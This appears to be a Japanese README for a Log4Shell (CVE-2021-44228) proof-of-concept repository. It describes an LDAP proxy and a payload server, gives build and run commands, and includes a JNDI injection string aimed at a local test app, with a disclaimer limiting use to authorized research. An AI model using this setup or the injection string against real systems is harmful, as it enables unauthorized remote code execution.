
Log4Shell (CVE-2021-44228) 向けのリモートコード実行 PoC
このリポジトリは、セキュリティ研究者がリモートコード実行を実験できるように、脆弱なアプリケーション(log4jを含む)にカスタムエクスプロイトをロードする攻撃サーバーの実装を提供します。
⚠️ このツールは自己評価を目的としており、許可された人物または研究者のみが使用すべきです。 許可または権限が明示されているシステムのみをテストしてください。脆弱なアプリケーションやライブラリを見つけた場合は、責任ある開示を実行すべきです。
CVE-2021-44228 は、JNDI LDAP 文字列をログに注入することで動作し、Log4j が指定された LDAP サーバーに問い合わせて追加情報を探すようにトリガーします。 悪意のあるシナリオでは、LDAP サーバーはコードを被害マシンに返送し、そのコードはメモリ内で自動的に実行されます。
このリポジトリには2つのサブプロジェクトが含まれています。 attacker-server プロジェクトには、2つのスレッドサーバーのソースコードが含まれています。1つ目は、LDAP オブジェクトの初期要求を受け取る LDAP プロキシです。2つ目のサーバーは、エクスプロイト(Exploit.java に存在)を脆弱なアプリケーションに返送するペイロードサーバーです。
プロジェクトのルートで:
mvn clean install
サーバーと脆弱なアプリケーションの両方が準備できるはずです。
サーバーをロードするには以下を実行:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
RCE をトリガーするには以下を実行:
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
Exploit.java を拡張することで、必要に応じて悪意のあるペイロードを変更できます。